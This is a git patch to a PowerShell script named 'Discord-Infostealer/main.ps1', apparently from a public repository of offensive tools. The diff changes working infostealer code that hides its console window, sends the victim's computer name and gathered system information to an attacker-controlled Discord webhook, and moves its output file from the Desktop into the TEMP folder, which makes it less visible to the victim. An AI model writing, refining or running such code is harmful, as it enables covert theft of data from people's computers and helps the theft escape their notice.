From 09c16adfe00d76d1712e360916a5854ae06ec6a0 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Mon, 12 Feb 2024 15:34:18 +0000 Subject: [PATCH] Update main.ps1 --- Discord-Infostealer/main.ps1 | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/Discord-Infostealer/main.ps1 b/Discord-Infostealer/main.ps1 index 15da123..1cd470f 100644 --- a/Discord-Infostealer/main.ps1 +++ b/Discord-Infostealer/main.ps1 @@ -1,8 +1,4 @@ # SYSTEM INFO TO DISCORD - -$hookurl = "$dc" -# shortened URL Detection -if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url} $Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' $Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru @@ -17,6 +13,11 @@ else{ $Type::ShowWindowAsync($hwnd, 0) } +sleep 1 +$hookurl = "$dc" +# shortened URL Detection +if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url} + $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":computer: ``Gathering System Information for $env:COMPUTERNAME.. Please wait`` :computer:"} | ConvertTo-Json Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys @@ -269,7 +270,7 @@ $process ==================================================================================================================================" -$outpath = "$env:USERPROFILE/Desktop/systeminfo.txt" +$outpath = "$env:TEMP/systeminfo.txt" $infomessage | Out-File -FilePath $outpath -Encoding ASCII -Append $infomessage1 | Out-File -FilePath $outpath -Encoding ASCII -Append $infomessage2 | Out-File -FilePath $outpath -Encoding ASCII -Append